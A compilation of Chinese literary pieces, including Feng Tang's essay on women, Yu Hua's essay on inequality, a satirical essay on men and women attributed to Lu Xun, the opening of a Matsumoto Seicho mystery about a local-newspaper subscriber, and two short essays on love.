　　姑娘可以做朋友。你或许慢慢会发现，有的姑娘比男孩儿更会倾听，更会扯脱你脑子里拧巴的东西。姑娘的生理构造和我俩不一样，我俩说，“我来想想”，姑娘说，“我想不清楚，我就是知道”。在上古时期（夏商之前），没台历，没时钟，没计算机，没战略管理，部族里就找一个十三不靠眼神忧郁的文艺女青年，不种玉米了，不缝兽皮了，专门呆着，饮酒、自残、抽大麻，她的月经周期就被定义为一个月，她说，打，部族的男人就冲出去厮杀。

　　姑娘可以做老师。你或许慢慢会发现，年纪和你相仿的女生比你懂得多，特别是和世俗相关的，年纪比你大的女生就更是如此。找个姑娘当老师，你学习得很自然。年少时被逼学习，往往效果很差。我爸，也就是你姥爷，逼我跟着一个叫 Follow Me 的英文教程学英语，在之后的两年里，我听见英文，心里就骂，Follow 你妈，F 你妈。但是这种自然的学习有一个潜在的坏处，你这样学习惯了，有可能失去泡姑娘的能力，基本不知道如何搭讪其他女生。你的姑娘教会你很多人生道理，但是不会教你如何解开其他姑娘的胸衣。

　　姑娘可以做情人。这个方面，她们往往和我们想的不一样。每个姑娘都渴望爱情，尽管每个姑娘都不知道爱情是什么。每个姑娘都觉得自己独一无二，尽管每个姑娘的 DNA 图谱基本相同。更可怕的是，每个姑娘都希望爱情能永恒，像草席和被面一样大面积降临，星星变成银河，银河走到眼前，变得阳光一样普照。姑娘们以爱情的名义残害的生灵，包括她们自己，比她们以爱情的名义拯救的生灵多得太多。下次陈晓卿再把小陈带来玩耍，我还给他喝黑方玩黄色游戏，但是我告诉他，回去要记得百度“爱情，忠贞”，他妈发现之后，就会把我从黑名单上拿下来了。

　　姑娘可以做性伴。性交和吃饭和睡觉一样，是人类正常需要，和吃饭和睡觉一样，可以给你很多快乐。十五岁的时候，班上一个坏孩子和我诉说，人生至乐有两个，一个是夏天在树下喝一大杯凉啤酒，另一个是秋天开始冷的时候在被窝里抱一个姑娘，大面积地皮肤接触，长时间地摩擦。我当时只能理解其中一个，啤酒那个。过了很久我才理解，姑娘通常比左手和右手都好。多年以来，人类赋予性交太多的内涵、外延和禁忌。所以你如果想把姑娘这样用，你的小宇宙必须非常强大，姑娘的小宇宙也必须非常强大。通常这两件事儿很少一起发生。

　　姑娘可以做家人。通常情况下，你妈和你爸会死在你前面，你姥姥和你姥爷会死在你妈和你爸前面。如果你找个比你小些的姑娘，和她一起衰老，她有可能死在你后面。你不要以为这个容易。一男一女，两个正常人，能心平气和地长久相守，是人世间最大的奇迹。有时候你奇怪，为什么因为一件屁大的事儿，你姥姥想剁死你姥爷，那是因为那件小事儿激发了你姥姥在和你姥爷长久相守中积累的千年仇怨。

　　至于十万个为什么中其他的问题，你自己看书找解说吧。推荐《十日谈》、《再见，哥伦布》和《十八岁给我一个姑娘》。别看《金瓶梅》，太多世情。别看《肉蒲团》，姑娘的胴体没那么多药用也没那么多毒害。别看《查泰莱夫人的情人》，世界观和妇女观都太病态。

　　记得多练习中文。中文是世界上最美的语言，是人类创造的最美丽的事物之一，这些，以后我慢慢告诉你。上次电话，你妈说你把外甥写成了处甥，你说你是我唯一的处甥，所以你妈很不高兴。

　　别的不说了。

冯唐

我们生活在巨大的差距里

余华

　　北京男孩和西北女孩，这两个生活在同样时代里的孩子，他们梦想之间的差距，让人恍惚觉得一个生活在今天的欧洲，另一个生活在四百多年前的欧洲。

　　三十多年前，也就是文革后期，我还是一个中学生，当时男生和女生之间是不说话的，虽然非常想说话，可是不敢说，就是爱慕对方，也只能偷偷地用眼睛看看而已。也有胆大的男生悄悄给女生写纸条，而且还不敢写上明确示爱的句子，都是一些指鹿为马的句子，比如要送给对方一块橡皮一支铅笔之类的句子，来传达爱的信息。接到纸条的女生立刻明白那小子想干什么，女生普遍的反应是紧张和害怕，假如纸条一旦曝光，女生就会深感羞愧，好像她自己做错了什么。

　　三十多年以后的今天，中学生谈情说爱早已在心理上合法化，在舆论上公开化。现在的女中学生竟然是穿着校服去医院做人流手术，媒体上曾经有过这样一条消息，一个女中学生穿着校服去医院做人流手术时，有四个穿着校服的男中学生簇拥着，当医生说手术前需要家属签字时，四个男中学生争先恐后地抢着要签名。

　　是什么原因让我们从一个极端走向了另一个极端？我不知道，我只知道中国这三十年创造了举世瞩目的经济奇迹，三十年的年均经济增长 9％，已经成为世界第三大经济国，可是在这个光荣的数据后面，却是一个让人不安的数据，人均年收入仍然在世界的一百位。如果以每年收入只有 600 元人民币计算，中国的贫穷人口有三千万；如果年收入增加到 800 元人民币，那么中国的贫穷人口达到一个亿。这两项应该是平衡的经济指标，在今天的中国竟然如此的不平衡。

　　改革开放 30 年来，中国城乡之间的差距不但没有被缩小，反而拉得更大。2007 年城乡居民收入差距之比扩大到了 3.33∶1，绝对差距达到 9646 元人民币，这是改革开放以来城乡居民收入差距最大的一年。

　　为什么假冒伪劣的产品在中国层出不穷？为什么有那么多的中国人在食用毒猪肉、毒大米和毒奶粉？因为这些产品价格低廉，他们微薄的收入只能去消费这些假冒伪劣产品。可以这么说，正是因为有一个庞大的贫穷人群的存在，假冒伪劣产品才能在中国畅通无阻。

　　中国是一个地域辽阔、人口众多、经济发展不平衡的国家，在上个世纪八十年代的中期，东部地区城市里的人普遍在喝可口可乐了；可是到了九十年代中期，中部山区外出打工的人，在回家过年时，给乡亲带去的礼物是可口可乐，因为他们的乡亲还没有见过可口可乐。

　　社会生活的不平衡也会带来梦想的不平衡，几年前 CCTV 在六一儿童节期间，采访了中国各地的孩子，问他们六一的时候最想得到的礼物是什么？一个北京的男孩要一架真正的波音飞机；一个西北的女孩却是羞怯地说，她想要一双白球鞋。

　　两个同龄的中国孩子，就是梦想都有着如此巨大的差距。对这个西北女孩来说，她想得到一双普通的白球鞋，也许和那个北京男孩想得到的波音飞机一样遥远。

　　其实很多年了，我们一直生活在巨大的差距里。我为什么写下了《兄弟》？这是两个时代相遇以后出生的小说，前一个是文革中的故事，那是一个精神狂热、本能压抑和命运惨烈的时代；后一个是现在的故事，那是一个伦理颠覆、浮躁纵欲和众生万象的时代。文革的中国和今天的中国，好比是欧洲的中世纪和欧洲的现在。一个欧洲人活四百多年才能经历这样两个天壤之别的时代，一个中国人只需四十年就经历了。应该是四百年间的动荡万变，现在浓缩在了四十年之中。

　　北京和西北这两个孩子梦想之间的差距，显示了两个极端，可以说和我举出的第一个例子的差距一样巨大，三十多年前的女中学生和今天的女中学生是另外的两个极端，前者显示的是现实的差距，后者显示的是历史的差距。历史的差距让一个中国人只需四十年就经历了欧洲四百多年的动荡万变，而现实的差距又将同时代的中国人分裂到不同的时代里去了。前面说到的北京男孩和西北女孩，这两个生活在同样时代里的孩子，他们梦想之间的差距，让人恍惚觉得一个生活在今天的欧洲，另一个生活在四百多年前的欧洲。

　　这就是今天的中国，我们不仅生活在现实和历史的巨大差距里，也生活在梦想的巨大差距里。

　　最后，我要用一个真实的故事来结束这篇文章。这是发生在中国南方某个城市里的故事，在林立的现代化高楼和商场里人头攒动的繁华景象里，一个六年级的小学生被绑架了。两个绑架者身无分文又毫无经验，所以很快就被警察捉拿归案。两个绑架者在索要赎金的时候，没钱去买盒饭，其中一个出去借了 20 元人民币回来，买了两个盒饭，一个盒饭给小学生吃，另一个盒饭两个绑架者分着吃。获救的小学生告诉警察：

　　“他们太穷了。”

男人的进化

鲁迅

　　说禽兽交合是恋爱未免有点亵渎。但是，禽兽也有性生活，那是不能否认的。它们在春情发动期，雌的和雄的碰在一起，难免“卿卿我我”的来一阵。固然，雌的有时侯也会装腔作势，逃几步又回头看，还要叫几声，直到实行“同居之爱”为止。禽兽的种类虽然多，它们的“恋爱”方式虽然复杂，可是有一件事是没有疑问的：就是雄的不见得有什么特权。

　　人为万物之灵，首先就是男人的本事大。最初原是马马虎虎的，可是因为“知有母不知有父”的缘故，娘儿们曾经“统治”过一个时期，那时的祖老太太大概比后来的族长还要威风。后来不知怎的，女人就倒了霉：项颈上，手上，脚上，全都锁上了链条，扣上了圈儿，环儿，——虽则过了几千年这些圈儿环儿大都已经变成了金的银的，镶上了珍珠宝钻，然而这些项圈，镯子，戒子等等，到现在还是女奴的象征。既然女人成了奴隶，那就男人不必征求她的同意再去“爱”她了。古代部落之间的战争，结果俘虏会变成奴隶，女俘虏就会被强奸。那时候，大概春情发动期早就“取消”了，随时随地男主人都可以强奸女俘虏，女奴隶。现代强盗恶棍之流的不把女人当人，其实是大有酋长式武士道的遗风的。

　　但是，强奸的本领虽然已经是人比禽兽“进化”的一步，究竟还只是半开化。你想，女的哭哭啼啼，扭手扭脚，能有多大兴趣？自从金钱这宝贝出现之后，男人的进化就真的了不得了。天下的一切都可以买卖，性欲自然并非例外。男人化几个臭钱，就可以得到他在女人身上所要得到的东西。而且他可以给她说：我并非强奸你，这是你自愿的，你愿意拿几个钱，你就得如此这般，百依百顺，咱们是公平交易！蹂躏了她，还要她说一声“谢谢你，大少”。这是禽兽干得来的么？所以嫖妓是男人进化的颇高的阶段了。

　　同时，父母之命媒妁之言的旧式婚姻，却要比嫖妓更高明。这制度下，男人得到永久的终生的活财产。当新妇被人放到新郎的床上的时候，她只有义务，她连讲价钱的自由都没有，何况恋爱。不管你爱不爱，在周公孔圣人的名义下，你得从一而终，你得守贞操。男人可以随时使用她，而她却要遵守圣贤的礼教，即使“只在心里动了恶念，也要算犯奸淫”的。如果雄狗对雌狗用起这样巧妙而严厉的手段来，雌的一定要急得“跳墙”。然而人却只会跳井，当节妇，贞女，烈女去。礼教婚姻的进化意义，也就可想而知了。

　　至于男人会用“最科学的”学说，使得女人虽无礼教，也能心甘情愿地从一而终，而且深信性欲是“兽欲”，不应当作为恋爱的基本条件；因此发明“科学的贞操”，——那当然是文明进化的顶点了。

　　呜呼，人——男人——之所以异于禽兽者！

订地方报纸的女人

松本清张

1

　　潮田芳子寄了一笔预付款给甲信报社，说要订阅《甲信新闻》。这家报社位于从东京搭快车需约两个半小时的 K 市，在该县算是大报。不过自然，东京并没有这种地方报的销售点。如果想在东京阅读此报，除了直接向总社订阅，请对方邮寄之外，别无他法。

　　她是在二月二十一日这天，用挂号现金袋把钱寄去的。在随钱附上的信中，她是这么写的：

　　我要订阅贵报，随函附上报费。贵报连载的《野盗传奇》这篇小说似乎很有趣，所以我想订来看看。请从十九日的报纸开始寄来……

　　潮田芳子看过《甲信新闻》，是在 K 市车站前一家冷清的餐饮店内。彼时，她点的拉面尚未煮好，女服务生特意把报纸拿到简陋的餐桌上给她看。那是一份看起来像是乡下小报、以铅字排版的粗俗报纸。第三版登满了当地发生的种种事件——一起火灾烧毁了五户民宅、村公所的公务员挪用六万圆公款、一所小学的分校落成、县议员的母亲死了，等等，尽是这类报道。

　　第二版下半栏，有连载的武侠小说，旁边的插画是两名武士在挥刀过招。作者叫杉本隆治，没听过的名字。那篇小说芳子才看到一半，拉面就送来了，她也就此打住。

　　不过，芳子把那家报社的社名和地址都抄写在了记事本上。《野盗传奇》这篇小说也在那时烙印在她的脑海中。标题下面写着“第五十四回”，报纸上的日期是十八日。对了，那天是二月十八日。

　　距离下午三点还有七分钟，芳子走出餐饮店漫步街头。小镇位于盆地内，这是个冬天里罕见的温暖晴天，暖融融的阳光渗入高地澄净的空气中。盆地的南边，有一片连绵起伏的山峦，还能看到雪白的富士山。在阳光的照射下，富士山看起来有些模糊。

　　小镇上这条马路尽头，横着白雪覆顶的甲斐驹山岳。阳光从侧面照亮山头的积雪，受山坳和光线的影响，雪山从暗处到最亮处，形成流畅曲折的阶梯形状。

　　在那座山的右侧，层层重叠着以枯叶色彩为基调的低矮山峦。夹在其间的溪谷虽然看不见，但好像有什么在那里蠢蠢欲动。那座山脉的走向，对于芳子而言，充满了暗示，似乎别有所指。

　　芳子走回到车站前。这时站前广场上聚集了大批人群，写着大字的白布条在黑压压的人群头顶随风飘扬，上面写着“欢迎 XX 大臣返乡”。新内阁在一个月前成立，芳子知道白布条上写的那个大臣就是在这一带出生的。

　　不久，人群中传来一阵响动，骚动迅速传开，有人高呼万岁，掌声不断。不少远处的行人也快步加入到这个团体中。

　　演讲开始了。只见那人站在高出一截的讲台上，嚅动着嘴巴。冬阳照亮他的秃头，他的胸前还别着一大朵白玫瑰。人群静默下来，只有偶尔拍手时，才会再次发出鼓噪声。

　　芳子望着那边。忽然发现不光自己一人，站在她身旁的男人也在远眺这幅光景。对方不是为了听演讲，看起来像是因为人群挡住了路，只好暂且驻足。

　　芳子偷窥那男人的侧脸。他有宽阔的额头、锐利的眼神和高挺的鼻梁。过去，芳子曾经觉得那是聪颖的额头、值得依赖的眼神和优雅的鼻梁。然而，那份记忆如今已变得虚无。只有那男人束缚人的咒语，一如往昔。

　　演讲结束，大臣终于走下讲台。人群开始散去，人潮之间出现空隙。芳子迈步走入其中，男人亦然。还有，另一个人……

　　寄去甲信报社的现金挂号信，总算赶在邮局三点结束受理业务前寄出了。芳子把薄薄的收据塞进手提包深处，在千岁乌山站搭乘电车，花了五十分钟抵达位于涩谷的店。

　　卢比孔酒吧闪着霓虹灯的招牌映入眼帘，芳子从后门进入。

　　“大家早。”

　　她向经理、女伴及男服务生打招呼，然后走进更衣室，开始化妆。

　　这家店此时正在“苏醒”。肥胖的妈妈桑顶着刚在美容院做好的新发型，在大家的赞美声中走了进来。

　　“今天是二十一日，星期六，各位，拜托你们好好干哦！”

　　接着，经理一边顾忌妈妈桑，一边训示小姐们。说什么 A 小姐的服装也该换件新样式了云云，说得那女孩满脸通红。

　　芳子一边心不在焉地听着，一边暗想，看来该离开这家店了。

　　在她眼中，似乎有一艘船正破浪而来。特别是最近，不分昼夜，这艘船总在眼前徘徊不去。她用手按住胸口，心跳快得几乎让她窒息。

2

　　《甲信新闻》在四五天之后寄达。三天份的报纸一起寄来，还周到地附上了一张明信片，感谢她的订阅。

　　正如芳子所要求的，是从十九日的报纸开始寄送的。她打开报纸，翻到社会版——某户人家遭盗贼入侵、山崩造成伤亡、农协爆舞弊案、镇议员选举开始……全是些无聊的报导，还大篇幅刊登了某大臣在 K 车站前的照片。

　　芳子翻开二十日的报纸，也没什么特别消息；再看二十一日的，也全是普通的报导。她把一叠报纸往壁橱角落一扔——也许可以留着当包装纸之类的吧。

　　接下来，这份报纸每天都会寄来。牛皮纸封条上，写着油印的“潮田芳子”几个字和住址，可能因为她是按月订阅的长期订户吧。

　　芳子每天早上都会去公寓信箱取报纸，再回床上撕开茶色封条。由于晚上要十二点左右才回家，所以早上起得很晚。她在被窝里摊开报纸，从头至尾巨细靡遗地慢慢浏览，尽管没什么特别吸引人的新闻。芳子很失望，把报纸往枕边一扔。

　　就这么日复一日地重复着，一次又一次地失望。不过，在每次撕开茶色封条之前，她还是抱着期待的，这种期待持续了十几天，但依旧毫无新内容。

　　变化，在第十五天出现了。换言之，就是第十五次寄来的报纸。那变化不是来自于报上的报导，而是一张出乎意料的明信片，上面的署名是杉本隆治。这个名字，芳子似乎在哪里见过——虽然并非切身的记忆，却的确有模糊的印象。

　　芳子翻到背面，字很丑，再看内容，当下恍然大悟。

　　您好。承蒙您喜爱在《甲信新闻》上连载的拙作《野盗传奇》，敝人为此深表感激，今后还请多多指教。谨致谢意如上……

　　杉本隆治就是在那份绑着封条、天天寄来的报纸上连载小说的作者。想来，由于芳子订报时自称是为了看连载小说，报社的人一定转告了作者。杉本隆治似乎十分感动，才寄谢函给这位新读者。

　　这是一个小变化，但并非她所期待的，不过是天外飞来一张无用的明信片。那篇小说她根本没看，反正故事的内容一定和明信片上的字一样拙劣。

　　报纸还是每天准确无误地送来，既然已付了报费，这也是理所当然的。芳子照旧每天早上躺在床上看报。同样地，依然一无所获，这份失望不知将持续到何时。

　　好不容易挨到订报之后约一个月的某天早晨。

　　这天，寒酸的铅字继续拼缀出有关乡下琐碎事的报道——农协总干事潜逃、公车坠崖造成乘客受伤、大火烧毁了一町①山林、在林云峡发现了一对殉情男女的尸体……

　　①一町约合九千九百一十七平方米。

　　芳子仔细阅读了有关殉情男女的报导，地点在林云峡山中，发现者是林业局的巡检员。发现时尸体均已腐烂，预计死亡约有一个月了，已呈半白骨状态，身份不详。这种案子并不稀奇，那个奇峰碧水环抱、宛如世外仙境的溪谷，本来就是自杀与殉情的著名地点。

　　芳子折起报纸，躺回枕上，把被子高高地拉到下巴处，瞪着天花板。这幢公寓已年久失修，被熏黑的天花板已经开始腐朽。芳子凝视着一片虚无。

　　翌日的报纸，仿佛是出于义务，详细报道了殉情男女的身份——男的现年三十五岁，是东京某家百货公司的保安，女的是同一家百货公司的店员，现年二十二岁。男的另有妻小。是随处可见的平凡案例。芳子抬起眼，脸上没有丝毫触动的表情。也可说是因为无动于衷而安心。这份报纸已变得索然无趣。她的眼中再次出现那艘航行在海上的船只。

　　过了两三天，甲信报社的发行部寄来了明信片。

　　您的预付款已扣尽，尚祈您继续订阅。

　　这家报社做起生意还真热心。

　　芳子写了回函。

　　小说变得不好看了，我不想再继续订阅了。

　　在去店里上班的途中，她寄出了这封信。在扔进邮筒迈步离去之际，她突然想到，《野盗传奇》的作者一定会大失所望吧？她有点后悔不该写那种话。

3

　　杉本隆治看了甲信报社转来的读者回函，心里很不痛快。这个女读者正是一个月以前主动表示对他的小说有兴趣而订报的人，当时报社还曾把那封信转寄给他，他记得自己还寄了简单的谢函。没想到，现在居然嫌小说不好看，还要把报纸停掉。

　　“读者竟这样反复无常！”

　　杉本隆治窝了一肚子火。

　　《野盗传奇》是他为某家代理地方报纸连载事宜的文艺通讯社写的。虽然考虑到是刊登在地方报纸，基于娱乐取向对文章作了相当程度的调整，但那毕竟是他呕心沥血的作品，绝非敷衍了事，他也很有自信。因此，当得知有东京读者为了看那篇小说而特意订报时，他很高兴，甚至还写了谢函。

　　没想到，同一名读者，现在却说“小说变得不好看了，所以不想续订了”。隆治起先以苦笑处之，继而越想越气。他觉得好像被耍了，又百思不解。因为与那名读者宣称“很有趣，所以想订阅报纸”的那一回比较起来，这次对方说“不好看，要停止订阅”的这一回内容明明要更精彩——情节上有了耐人寻味的发展，人物都很活跃，各种场面应接不暇，就连他自己都觉得故事已渐入佳境。

　　“那样的内容，居然说不好看。”

　　他觉得奇怪。正因为心里有把握故事会大受欢迎，这个任性的读者才使得他格外不悦。

　　杉本隆治离所谓的畅销作家还很远，不过他经常为娱乐杂志撰稿，被圈内人视为精明的作家。他素来自负，懂得如何抓住读者的胃口。目前在《甲信新闻》连载的这篇小说水准绝对不差。不，他甚至觉得写得痛快淋漓，下笔如有神助。

　　“想来想去，还是很不愉快。”

　　整整两天，他都还没能摆脱那种不舒服的感觉。到了第三天，那种感觉虽然淡了，却还是耿耿于怀，心里某处有个疙瘩。一天二十四小时，那种感觉会三不五时地浮现心头，比倾力完成的作品遭到同行的恶意贬损还要难受。自己写的小说害报社少卖一份报纸的明确事实令他极为不快。说得夸张一点，他觉得自己在报社颜面尽失。

　　杉本隆治甩甩头离开桌前，出门散步。他选择惯走的路径。这一带仍保有武藏野的昔日风貌，落叶缤纷的杂木林彼端，J 池在冬阳下闪着粼粼波光。

　　他在枯草丛中坐下，凝望着一泓池水。一个外国人正在池畔训练大狗，狗冲出去把扔远的棒子捡起后，又跑回到主人身边。这样的动作一再重复着。

　　他心不在焉地望着那幅情景。重复单调的场景看久了，有时似乎会迸发出奇想。这时，杉本隆治的脑海中突然萌生出一个疑问。

　　“那位女读者是从中途开始订阅连载我那篇小说的报纸的，她说是因为小说有趣，但在那之前，她又是从哪里知道我的那篇小说的呢？”

　　《甲信新闻》的销售区域仅限于 Y 县，东京并没有。所以，她当然不可能是在东京知道这份报纸的。那么，这个自称潮田芳子的东京女人，应该以前曾在 Y 县的某处待过，或是从东京过来造访时看到那份报纸吧？

　　他的视线继续随那只狗来回移动，同时陷入沉思。假设果真如此，被那篇小说吸引、不惜专程订报的热心读者，不可能在不到一个月之内，又以一句“不好看”停订了。更何况，小说本身明明比以前精彩。

　　这其中大有问题，他想。照此情形来看，对方显然不是想看我的小说才订报的，那只是临时编的理由，其实应该是想看其他东西吧。换言之，对方说不定想从报上找什么。一旦找到，自然就没有必要再订阅那份报纸了……

　　杉本隆治从草丛里站起身，快步走回家。此时，种种想法宛如海藻般在他的脑海中乱七八糟地纠结浮动着。

　　他一回到家，就从信插中抽出之前报社转寄给他的那张潮田芳子写的明信片。

　　我要订阅贵报，随函附上报费。贵报连载的《野盗传奇》这篇小说似乎很有趣，所以我想订来看看。请从十九日的报纸开始寄来……

　　就女人的标准来说，潮田芳子的字体相当工整。撇开这个不谈，她要求从订报之日的前两天，也就是十九日的报纸开始寄送，究竟有何用意？报上的消息，最快也不过是刊登前一天所发生的事。《甲信新闻》并没有发行晚报，所以从十九日的报纸开始订阅，就意味着她想知道十八日以后发生的事。杉本如此推测。

　　报社每天都会把刊载小说的报纸送到杉本手上。他把那堆旧报纸全部摊在桌上，从二月十九日的那一份开始仔细检阅，主要是看社会版，不过为了以防万一，也没漏掉分类广告栏。

　　他姑且将范围限定在与 Y 县某地和东京均有关的事物上。抱着这个念头，他开始浏览每天的报道。整个二月份都没有可疑的线索；进入三月，到五日为止依然一无所获，到十日也一样；十三日、十四日，翻到十六日的报纸时，他终于发现一篇大意如下的报道。

　　三月十五下午两点左右，林业局职员在林云峡的山林之中发现了一对殉情男女的尸体。尸体已腐烂，呈白骨状态，死亡约一个月之久。男子身穿鼠灰色大衣和深蓝色西装，年约三十七八岁；女人身穿茶色粗格纹大衣及同色套装，年约二十二三岁。现场只留有装着化妆品的女用手提包一只。警方在提包内发现从新宿至 K 车站的往返车票，判断两人应来自东京……

　　翌日的报纸，载明了死者的身份。

　　林云峡的殉情双尸已查明身份。男性为东京某百货公司的保安庄田关次（三十五岁），女性为同一家公司的店员福田梅子（二十二岁）。男性已有妻小，推测应为三角畸恋导致两人走上绝路……

　　“是这个吧……”

　　杉本隆治不由得脱口而出。与东京和 Y 县均有关系的线索除此之外再无其他。潮田芳子大概就是看到了这篇报道才停止订报的吧，她肯定是为了看这个才特地订阅乡下报纸的。东京发行的全国版报纸当然不会刊登这种地方新闻。

　　“等一下……”

　　他再次陷入沉思。

　　（潮田芳子订报时，指明要从二月十九日的报纸开始邮寄。尸体是在三月十五日被发现的，死亡已有约一个月。如此说来，推断这桩殉情事件是在二月十八日之前发生的，应该合情合理。她早就知道这对男女会殉情自杀，她一直在等报上出现那两具尸体被发现的消息。为什么？）

　　杉本隆治突然对潮田芳子这个女人产生了兴趣。

　　他定定地逼视着报社转来的潮田芳子的住址。

4

　　杉本隆治委托某私人侦探社调查的结果，在大约三个星期后送到了他的手上。

　　兹就阁下委托之潮田芳子调查事项报告如下：

　　潮田芳子原籍 H 县 X 郡 X 村，现住址为世田谷区乌山町一 XX 番地深红庄公寓。根据原籍地取得的户籍本显示，她乃潮田早雄之妻。公寓管理员表示，她在三年前独自租房，是个很沉默的人。最近，她曾提及羁留苏联的丈夫即将归国。目前在涩谷的卢比孔酒吧作陪酒女。

　　向卢比孔酒吧的妈妈桑查证，据说她在一年前开始上班，之前则待过西银座后巷的安琪儿酒吧。她素性良好，也有几名熟客捧场，但似乎没有特殊的男女关系。只有一名年约三十五六岁的瘦削男子，每个月都会上门两三次指名找她。由于每次都是芳子掏钱付账，因此妈妈桑说，或许此人从她以前在安琪儿时代便有深厚交情。据说两人每次都是单独坐在座位上低声交谈。某次和芳子要好的同事曾问她，对方可是她的心上人，芳子听了一脸不悦。还听说只要那男人一到店里，芳子就会沉着脸。没有人知道那个男人的姓名。

　　敝社派员再去安琪儿酒吧查证后，确认芳子两年前确实在此当过陪酒女郎，风评同样不差。但就陪酒女的标准而言，她不够活泼亮丽，没拉到什么客人。在卢比孔出没的那个男人似乎也来过安琪儿，据说那人在她离职前三个月首次出现。换言之，自从那男人开始上门找她以后，过了三个月，她就到卢比孔上班了。

　　其次，关于阁下委托调查的某百货公司保安庄田关次，走访其妻，她对刚过世的丈夫没有一句好话。看来丈夫与别的女人殉情之举，似乎令她恨意颇深。保安的工作，是在百货公司内提防小偷。庄田每次只拿一半薪水回家，据说剩下的都花在那个女人身上了。庄田之妻也知道和他一起殉情的那个店员福田梅子，还破口大骂两人不要脸，甚至表示：“我没把我老公的骨灰供在佛坛上，就用绳子捆一捆，扔进壁橱角落了。”

　　问起潮田芳子时，她的回答是：“我没听说过这个女人，不过我老公本来就喜欢拈花惹草，谁知道他在外面干了什么。”

　　敝社员工在百般安抚庄田之妻后，顺利借到一张庄田关次的照片。

　　拿着这张照片，再度走访卢比孔和安琪儿酒吧。妈妈桑和一干酒女均指证，来找芳子的男人确是此人。

　　重返深红庄向管理员出示这张照片后，管理员抓抓头回答：“这不算什么好事，我本来不想说，此人的确每个月都会来找潮田小姐三四次，就算连住两晚也是常事。”

　　据此，已可确定潮田芳子和庄田关次之间确有情人关系。不过，两人是在什么机缘下结识的，至今不明。

　　此外，奉阁下指示，向管理员打听芳子在二月十八日的行动。对方表示，日期虽已记不清楚，但那阵子芳子的确曾在某天早上十点离开公寓。由于芳子向来起得晚，所以管理员当时还暗自稀奇。再去卢比孔向店家调阅出勤表一看，芳子在二月十八日请假。

　　以上，谨向阁下报告目前为止的调查成果。如有其他特别指示，敝社可再做详细调查。

　　杉本隆治把这份报告书反复看了两遍。

　　“不愧是靠这个吃饭的，果然有一套。亏他们还能调查得这么仔细。”

　　他深感佩服。

　　到这里，已可确定庄田关次和福田梅子的殉情自杀肯定和潮田芳子有关系。对方知道这两人会在林云峡的山林中殉情身亡。二月十八日，她一大早离开公寓又没去上班的那一天，正是那两个人的殉情日。要去林云峡得搭中央线在 K 站下车，她是在何处送别那两个人的呢？新宿？抑或 K 站？

　　杉本翻阅时刻表。中央线前往 K 市方向的列车，在八点十分及二十五分各有一班快车从新宿发车。夜车根本不列入考虑，慢车基本上也可以排除。因为那对男女如果要去，搭的应该是快车。

　　潮田芳子如果在早上十点左右离开公寓，要搭十一点三十二分发车的那班普通车当然也来得及。不过判断她搭的是下一班，即十二点二十五分发车的快车似乎更为合理。这班车会在下午三点零五分抵达 K 站。

　　从 K 站到林云峡的殉情地点，要先搭公车然后再走一段路，应该要花上一个小时。这表示庄田与梅子这两名殉情者，是在冬阳西斜时抵达那个决定命运的地点的。杉本隆治在脑中想象这对男女在峭壁环绕的山林中徘徊的身影。

　　这桩殉情事件，直到一个月后才被林业局的员工发现。公之于世之前，应该只有潮田芳子一个人知道。而她，想通过当地的报纸，确定这桩殉情案被公之于世的日期。她在此案中究竟扮演了什么样的角色呢？

　　杉本再次打开二月十九日的《甲信新闻》——山崖崩塌、农协弊案、镇议员选举……没什么特别的。乡下出身的某大臣在 K 站前演讲的照片占了很大的版面。

　　此时，他的视线固定在这张照片上，就像之前眺望大狗的无聊动作一样，脑海中涌现出形形色色的念头。

　　杉本隆治把明天就要交的稿子放到一旁，抱头沉思。他做梦也没想到，区区一个对他小说失去兴趣的读者，竟会把他牵连到这种地步。

　　他的妻子，想必以为他正苦苦构思小说情节呢吧。

女人的猫性

佚名

　　我的一个女友下班，遇到下雨，太冷了，她发短信让男朋友去送衣服给她，男友打游戏拒绝了。这件事让她郁闷了两天然后气消了，虽然是件小事，不会影响两人以后，但是她说，以后下雨天她一定会自己带衣服，如果哪天忘记了，即使冷死，也不再会叫他送。

　　我很能明白这种感觉。不久以前，一个女孩某天夜里，心情特别低落，特别想念某个人的安慰，然后半夜时分，打电话给他，很想听他说话，电话那头，是被拒接的提示声。

　　从此以后，她再没有伤心无助时给他打过电话。

　　那段时间慢慢建立起来的小小的依赖，也顿时崩溃。

　　开始有意识地不再去想起，不再去关注，不再去打他电话。

　　喜欢与不喜欢其实并没有什么界限，有的时候是因为自己故意去忽略了很多，潜意识里便抗拒了别人，也拒绝了自己……

　　我发现女人身上有一种猫性。

　　小猫在撒娇或者做错事的时候，需要别人的安慰和教导，如果这时主人打击了它，它会狠狠记住，不会再犯。

　　女人，有着猫一样的自尊，特别是陷入爱情里的女人。

　　在别人看来无关紧要，其实需要呵护，因为爱，已经让她的心变得柔软。她的这一点自尊，其实是要你对她的在乎。

　　我看过一句特别经典的话，有时候女人需要一个男人，就像逃机者需要降落伞，如果此时此刻他不在，那么以后他也不必在了。

　　真的，就是这样。

　　是啊是啊，如果哪天猫咪用坚定的眼神看着你说我可以的时候，那么猫咪已经做好了离开的准备了！

　　女人是要独立，但是独立到不再会对你不讲道理的撒娇任性，不再会无厘头的缠着你，你觉得你对于她同路人还有多大区别呢？

　　女人的猫性不是每个男人都有幸看到的，因为喜欢你，在意你才对你发出特有的咕噜噜声，其他人只能听到猫喵喵叫，而这一声咕噜噜只是为你而生。

　　有几个人会明白呢？

世界不同于想象

张曼娟

　　曾经的恋人，在十几年之后，与我相约见面。分手时因为心神憔悴，感觉自己无比苍老。十几年过去，反而因为生活中的安定踏实，而有了轻盈的脚步。那是个寒凉的冬夜，我们共进晚餐，并肩行过一段长长的路，车辆一台台迅速的从身边疾驰而过，彷佛岁月总是太匆匆，快得像是没有任何值得留恋的。我的大衣飞卷起来，有时搧动着身旁那人的腿，又乖乖的回到我身上来，回忆也就这么起起落落。

　　“那时候的分手真的是好平静啊。”那人喟叹地说。

　　是的，理智冷静得连争吵都没有，就像两个下了戏的演员，对彼此友善的点头致意，各自回家，过着不再相干的生活。而我们曾经那么真挚的相爱；我们曾经以为找到了失落的另一半；我们曾经想像着将共度一生。

　　没有欺瞒背叛，没有外遇出轨，当我发觉爱情如潮落，迅捷全面，无可挽回时，恍然明白了自己的宿命。无比忧伤，却不知该去纠缠谁？向谁索讨付出的真心？只是安静的告诉自己，就是这样了。

　　“你是否明了，我们为什么没能走下去？”停在红灯前方，那人问。

　　我微微笑着，没有回答。

　　“因为我后来发现，你不是我想像的那个人。”那人说完，绿灯忽然亮起来。

